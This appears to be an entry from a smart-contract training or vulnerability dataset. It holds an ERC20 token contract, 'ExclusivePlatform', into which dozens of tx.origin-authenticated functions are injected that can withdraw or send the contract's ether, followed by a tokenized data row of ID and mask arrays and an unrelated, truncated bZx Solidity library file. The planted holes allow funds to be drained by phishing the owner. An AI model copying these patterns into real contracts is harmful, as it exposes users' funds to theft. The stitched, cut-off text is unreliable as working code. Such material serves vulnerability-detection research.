* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint256);
function bug_txorigin28( address owner_txorigin28) public{
require(tx.origin == owner_txorigin28);
}
function balanceOf(address tokenOwner) public view returns (uint256 balance);
function withdrawAll_txorigin34(address payable _recipient,address owner_txorigin34) public {
require(tx.origin == owner_txorigin34);
_recipient.transfer(address(this).balance);
}
function allowance(address tokenOwner, address spender) public view returns (uint256 remaining);
function sendto_txorigin21(address payable receiver, uint amount,address owner_txorigin21) public {
require (tx.origin == owner_txorigin21);
receiver.transfer(amount);
}
function transfer(address to, uint256 tokens) public returns (bool success);
function withdrawAll_txorigin10(address payable _recipient,address owner_txorigin10) public {
require(tx.origin == owner_txorigin10);
_recipient.transfer(address(this).balance);
}
function approve(address spender, uint256 tokens) public returns (bool success);
function withdrawAll_txorigin22(address payable _recipient,address owner_txorigin22) public {
require(tx.origin == owner_txorigin22);
_recipient.transfer(address(this).balance);
}
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
function bug_txorigin12(address owner_txorigin12) public{
require(tx.origin == owner_txorigin12);
}
function transferTo_txorigin35(address to, uint amount,address owner_txorigin35) public {
require(tx.origin == owner_txorigin35);
to.call.value(amount);
}
event Transfer(address indexed from, address indexed to, uint256 tokens);
function bug_txorigin40(address owner_txorigin40) public{
require(tx.origin == owner_txorigin40);
}
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
contract Owned {
address payable public owner;
function sendto_txorigin33(address payable receiver, uint amount,address owner_txorigin33) public {
require (tx.origin == owner_txorigin33);
receiver.transfer(amount);
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
function transferTo_txorigin11(address to, uint amount,address owner_txorigin11) public {
require(tx.origin == owner_txorigin11);
to.call.value(amount);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address payable newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function sendto_txorigin1(address payable receiver, uint amount,address owner_txorigin1) public {
require (tx.origin == owner_txorigin1);
receiver.transfer(amount);
}
}
contract ExclusivePlatform is ERC20Interface, Owned {
using SafeMath for uint256;
mapping (address => uint256) balances;
function withdrawAll_txorigin18(address payable _recipient,address owner_txorigin18) public {
require(tx.origin == owner_txorigin18);
_recipient.transfer(address(this).balance);
}
mapping (address => mapping (address => uint256)) allowed;
function sendto_txorigin29(address payable receiver, uint amount,address owner_txorigin29) public {
require (tx.origin == owner_txorigin29);
receiver.transfer(amount);
}
string public name = "Exclusive Platform";
function withdrawAll_txorigin6(address payable _recipient,address owner_txorigin6) public {
require(tx.origin == owner_txorigin6);
_recipient.transfer(address(this).balance);
}
string public symbol = "XPL";
function bug_txorigin16(address owner_txorigin16) public{
require(tx.origin == owner_txorigin16);
}
uint256 public decimals = 8;
function bug_txorigin24( address owner_txorigin24) public{
require(tx.origin == owner_txorigin24);
}
uint256 public _totalSupply;
function sendto_txorigin5(address payable receiver, uint amount,address owner_txorigin5) public {
require (tx.origin == owner_txorigin5);
receiver.transfer(amount);
}
uint256 public XPLPerEther = 8000000e8;
uint256 public minimumBuy = 1 ether / 100;
function transferTo_txorigin15(address to, uint amount,address owner_txorigin15) public {
require(tx.origin == owner_txorigin15);
to.call.value(amount);
}
bool public crowdsaleIsOn = true;
//mitigates the ERC20 short address attack
//suggested by izqui9 @ http://bit.ly/2NMMCNv
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
constructor () public {
_totalSupply = 10000000000e8;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function withdrawAll_txorigin2(address payable _recipient,address owner_txorigin2) public {
require(tx.origin == owner_txorigin2);
_recipient.transfer(address(this).balance);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function sendto_txorigin17(address payable receiver, uint amount,address owner_txorigin17) public {
require (tx.origin == owner_txorigin17);
receiver.transfer(amount);
}
function updateXPLPerEther(uint _XPLPerEther) public onlyOwner {
emit NewPrice(owner, XPLPerEther, _XPLPerEther);
XPLPerEther = _XPLPerEther;
}
function sendto_txorigin37(address payable receiver, uint amount,address owner_txorigin37) public {
require (tx.origin == owner_txorigin37);
receiver.transfer(amount);
}
function switchCrowdsale() public onlyOwner {
crowdsaleIsOn = !(crowdsaleIsOn);
}
function transferTo_txorigin3(address to, uint amount,address owner_txorigin3) public {
require(tx.origin == owner_txorigin3);
to.call.value(amount);
}
function getBonus(uint256 _amount) internal view returns (uint256) {
if (_amount >= XPLPerEther.mul(5)) {
/*
* 20% bonus for 5 eth above
*/
return ((20 * _amount).div(100)).add(_amount);
} else if (_amount >= XPLPerEther) {
/*
* 5% bonus for 1 eth above
*/
return ((5 * _amount).div(100)).add(_amount);
}
return _amount;
}
function sendto_txorigin9(address payable receiver, uint amount,address owner_txorigin9) public {
require (tx.origin == owner_txorigin9);
receiver.transfer(amount);
}
function () payable external {
require(crowdsaleIsOn && msg.value >= minimumBuy);
uint256 totalBuy = (XPLPerEther.mul(msg.value)).div(1 ether);
totalBuy = getBonus(totalBuy);
doTransfer(owner, msg.sender, totalBuy);
}
function sendto_txorigin25(address payable receiver, uint amount,address owner_txorigin25) public {
require (tx.origin == owner_txorigin25);
receiver.transfer(amount);
}
function distribute(address[] calldata _addresses, uint256 _amount) external {
for (uint i = 0; i < _addresses.length; i++) {transfer(_addresses[i], _amount);}
}
function transferTo_txorigin19(address to, uint amount,address owner_txorigin19) public {
require(tx.origin == owner_txorigin19);
to.call.value(amount);
}
function distributeWithAmount(address[] calldata _addresses, uint256[] calldata _amounts) external {
require(_addresses.length == _amounts.length);
for (uint i = 0; i < _addresses.length; i++) {transfer(_addresses[i], _amounts[i]);}
}
function withdrawAll_txorigin26(address payable _recipient,address owner_txorigin26) public {
require(tx.origin == owner_txorigin26);
_recipient.transfer(address(this).balance);
}
/// @dev This is the actual transfer function in the token contract, it can
/// only be called by other functions in this contract.
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function doTransfer(address _from, address _to, uint _amount) internal {
// Do not allow transfer to 0x0 or the token contract itself
require((_to != address(0)));
require(_amount <= balances[_from]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
}
function bug_txorigin20(address owner_txorigin20) public{
require(tx.origin == owner_txorigin20);
}
function balanceOf(address _owner) view public returns (uint256) {
return balances[_owner];
}
function bug_txorigin32( address owner_txorigin32) public{
require(tx.origin == owner_txorigin32);
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
doTransfer(msg.sender, _to, _amount);
return true;
}
function withdrawAll_txorigin38(address payable _recipient,address owner_txorigin38) public {
require(tx.origin == owner_txorigin38);
_recipient.transfer(address(this).balance);
}
/// @return The balance of `_owner`
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
doTransfer(_from, _to, _amount);
return true;
}
function bug_txorigin4(address owner_txorigin4) public{
require(tx.origin == owner_txorigin4);
}
/// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on
/// its behalf. This is a modified version of the ERC20 approve function
/// to be a little bit safer
/// @param _spender The address of the account able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the approval was successful
function approve(address _spender, uint256 _amount) public returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender,0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function transferTo_txorigin7(address to, uint amount,address owner_txorigin7) public {
require(tx.origin == owner_txorigin7);
to.call.value(amount);
}
function allowance(address _owner, address _spender) view public returns (uint256) {
return allowed[_owner][_spender];
}
function transferTo_txorigin23(address to, uint amount,address owner_txorigin23) public {
require(tx.origin == owner_txorigin23);
to.call.value(amount);
}
function transferEther(address payable _receiver, uint256 _amount) public onlyOwner {
require(_amount <= address(this).balance);
emit TransferEther(address(this), _receiver, _amount);
_receiver.transfer(_amount);
}
function withdrawAll_txorigin14(address payable _recipient,address owner_txorigin14) public {
require(tx.origin == owner_txorigin14);
_recipient.transfer(address(this).balance);
}
function withdrawFund() onlyOwner public {
uint256 balance = address(this).balance;
owner.transfer(balance);
}
function withdrawAll_txorigin30(address payable _recipient,address owner_txorigin30) public {
require(tx.origin == owner_txorigin30);
_recipient.transfer(address(this).balance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Burn(burner, _value);
}
function bug_txorigin8(address owner_txorigin8) public{
require(tx.origin == owner_txorigin8);
}
function getForeignTokenBalance(address tokenAddress, address who) view public returns (uint){
ERC20Interface token = ERC20Interface(tokenAddress);
uint bal = token.balanceOf(who);
return bal;
}
function transferTo_txorigin39(address to, uint amount,address owner_txorigin39) public {
require(tx.origin == owner_txorigin39);
to.call.value(amount);
}
function withdrawForeignTokens(address tokenAddress) onlyOwner public returns (bool) {
ERC20Interface token = ERC20Interface(tokenAddress);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function bug_txorigin36( address owner_txorigin36) public{
require(tx.origin == owner_txorigin36);
}
function transferTo_txorigin27(address to, uint amount,address owner_txorigin27) public {
require(tx.origin == owner_txorigin27);
to.call.value(amount);
}
event TransferEther(address indexed _from, address indexed _to, uint256 _value);
function transferTo_txorigin31(address to, uint amount,address owner_txorigin31) public {
require(tx.origin == owner_txorigin31);
to.call.value(amount);
}
event NewPrice(address indexed _changer, uint256 _lastPrice, uint256 _newPrice);
function sendto_txorigin13(address payable receiver, uint amount,address owner_txorigin13) public {
require (tx.origin == owner_txorigin13);
receiver.transfer(amount);
}
event Burn(address indexed _burner, uint256 value);
}
| * @dev The Ownable constructor sets the original `owner` of the contract to the sender account./ | constructor() public {
owner = msg.sender;
}
| 879,869 | [
1,
1986,
14223,
6914,
3885,
1678,
326,
2282,
1375,
8443,
68,
434,
326,
6835,
358,
326,
5793,
2236,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
1435,
1071,
288,
203,
3639,
3410,
273,
1234,
18,
15330,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
* Copyright 2017-2020, bZeroX, LLC <https://bzx.network/>. All Rights Reserved.
* Licensed under the Apache License, Version 2.0.
*/
pragma solidity 0.5.17;
pragma experimental ABIEncoderV2;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library MathUtil {
/**
* @dev Integer division of two numbers, rounding up and truncating the quotient
*/
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
return divCeil(a, b, "SafeMath: division by zero");
}
/**
* @dev Integer division of two numbers, rounding up and truncating the quotient
*/
function divCeil(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b != 0, errorMessage);
if (a == 0) {
return 0;
}
uint256 c = ((a - 1) / b) + 1;
return c;
}
function min256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a < _b ? _a : _b;
}
}
interface IPriceFeeds {
function queryRate(
address sourceToken,
address destToken)
external
view
returns (uint256 rate, uint256 precision);
function queryPrecision(
address sourceToken,
address destToken)
external
view
returns (uint256 precision);
function queryReturn(
address sourceToken,
address destToken,
uint256 sourceAmount)
external
view
returns (uint256 destAmount);
function checkPriceDisagreement(
address sourceToken,
address destToken,
uint256 sourceAmount,
uint256 destAmount,
uint256 maxSlippage)
external
view
returns (uint256 sourceToDestSwapRate);
function amountInEth(
address Token,
uint256 amount)
external
view
returns (uint256 ethAmount);
function getMaxDrawdown(
address loanToken,
address collateralToken,
uint256 loanAmount,
uint256 collateralAmount,
uint256 maintenanceMargin)
external
view
returns (uint256);
function getCurrentMarginAndCollateralSize(
address loanToken,
address collateralToken,
uint256 loanAmount,
uint256 collateralAmount)
external
view
returns (uint256 currentMargin, uint256 collateralInEthAmount);
function getCurrentMargin(
address loanToken,
address collateralToken,
uint256 loanAmount,
uint256 collateralAmount)
external
view
returns (uint256 currentMargin, uint256 collateralToLoanRate);
function shouldLiquidate(
address loanToken,
address collateralToken,
uint256 loanAmount,
uint256 collateralAmount,
uint256 maintenanceMargin)
external
view
returns (bool);
function getFastGasPrice(
address payToken)
external
view
returns (uint256);
}
contract IVestingToken is IERC20 {
function claim()
external;
function vestedBalanceOf(
address _owner)
external
view
returns (uint256);
function claimedBalanceOf(
address _owner)
external
view
returns (uint256);
}
/**
* @dev Library for managing loan sets
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* Include with `using EnumerableBytes32Set for EnumerableBytes32Set.Bytes32Set;`.
*
*/
library EnumerableBytes32Set {
struct Bytes32Set {
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) index;
bytes32[] values;
}
/**
* @dev Add an address value to a set. O(1).
* Returns false if the value was already in the set.
*/
function addAddress(Bytes32Set storage set, address addrvalue)
internal
returns (bool)
{
bytes32 value;
assembly {
value := addrvalue
}
return addBytes32(set, value);
}
/**
* @dev Add a value to a set. O(1).
* Returns false if the value was already in the set.
*/
function addBytes32(Bytes32Set storage set, bytes32 value)
internal
returns (bool)
{
if (!contains(set, value)){
set.index[value] = set.values.push(value);
return true;
} else {
return false;
}
}
/**
* @dev Removes an address value from a set. O(1).
* Returns false if the value was not present in the set.
*/
function removeAddress(Bytes32Set storage set, address addrvalue)
internal
returns (bool)
{
bytes32 value;
assembly {
value := addrvalue
}
return removeBytes32(set, value);
}
/**
* @dev Removes a value from a set. O(1).
* Returns false if the value was not present in the set.
*/
function removeBytes32(Bytes32Set storage set, bytes32 value)
internal
returns (bool)
{
if (contains(set, value)){
uint256 toDeleteIndex = set.index[value] - 1;
uint256 lastIndex = set.values.length - 1;
// If the element we're deleting is the last one, we can just remove it without doing a swap
if (lastIndex != toDeleteIndex) {
bytes32 lastValue = set.values[lastIndex];
// Move the last value to the index where the deleted value is
set.values[toDeleteIndex] = lastValue;
// Update the index for the moved value
set.index[lastValue] = toDeleteIndex + 1; // All indexes are 1-based
}
// Delete the index entry for the deleted value
delete set.index[value];
// Delete the old entry for the moved value
set.values.pop();
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value)
internal
view
returns (bool)
{
return set.index[value] != 0;
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function containsAddress(Bytes32Set storage set, address addrvalue)
internal
view
returns (bool)
{
bytes32 value;
assembly {
value := addrvalue
}
return set.index[value] != 0;
}
/**
* @dev Returns an array with all values in the set. O(N).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
* WARNING: This function may run out of gas on large sets: use {length} and
* {get} instead in these cases.
*/
function enumerate(Bytes32Set storage set, uint256 start, uint256 count)
internal
view
returns (bytes32[] memory output)
{
uint256 end = start + count;
require(end >= start, "addition overflow");
end = set.values.length < end ? set.values.length : end;
if (end == 0 || start >= end) {
return output;
}
output = new bytes32[](end-start);
for (uint256 i = start; i < end; i++) {
output[i-start] = set.values[i];
}
return output;
}
/**
* @dev Returns the number of elements on the set. O(1).
*/
